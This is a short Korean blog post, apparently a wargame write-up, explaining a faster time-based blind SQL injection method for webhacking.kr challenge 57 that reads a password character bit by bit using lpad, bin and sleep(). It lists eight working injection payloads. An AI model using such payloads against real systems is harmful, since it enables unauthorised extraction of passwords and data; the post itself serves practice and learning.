document.onkeypress = getKey;

보고 놀랐다.

http://hides.tistory.com/247

http://blog.naver.com/PostView.nhn?blogId=padocon&logNo=220611561554

이 두 분의 글을 읽고 알았는데


여태껏

blind sql을 짤때 그냥 아스키값으로 대충 32부터 127까지 싹다 돌렸었는데


lpad와 bin 을 이용하여서 문제를 겁나 빠르게 풀 수 있다.



lpad는 왼쪽에서 패딩해주는 것이다.


: lpad(초기값, 횟수, 채울문자)

: 채울문자를 정해진 횟수의 길이에 도달할 때까지 초기값의 왼쪽에 붙여준다.

-> lpad(1,8,0) = 00000001 lpad('ABCD',8,'*') = ****ABCD


webhacking.kr 57번의 time-based를 

쿼리는 다음과 같다.

1) if(substr(lpad(bin(ascii(substr(pw,1,1))),8,0),1,1)=0,sleep(1),0)
2) if(substr(lpad(bin(ascii(substr(pw,1,1))),8,0),2,1)=0,sleep(1),0)
3) if(substr(lpad(bin(ascii(substr(pw,1,1))),8,0),3,1)=1,sleep(1),0)
4) if(substr(lpad(bin(ascii(substr(pw,1,1))),8,0),4,1)=1,sleep(1),0)
5) if(substr(lpad(bin(ascii(substr(pw,1,1))),8,0),5,1)=0,sleep(1),0)
6) if(substr(lpad(bin(ascii(substr(pw,1,1))),8,0),6,1)=0,sleep(1),0)
7) if(substr(lpad(bin(ascii(substr(pw,1,1))),8,0),7,1)=0,sleep(1),0)
8) if(substr(lpad(bin(ascii(substr(pw,1,1))),8,0),8,1)=1,sleep(1),0)

[출처] Webhacking.kr 57번|작성자 Hide






이렇게 작성하게 되면

00110001 일때 참이다. 49이고 이는 아스키로 '1'이다.


한 글자를 알아내는데 8번안에 알아낼 수 있다.

(각 자릿수마다 0과 1로 확인하는거므로)


물론 크거나 작은걸로 확인하는 방법이 있지만 이것도 나름 고급기술인거 같다.


+ Recent posts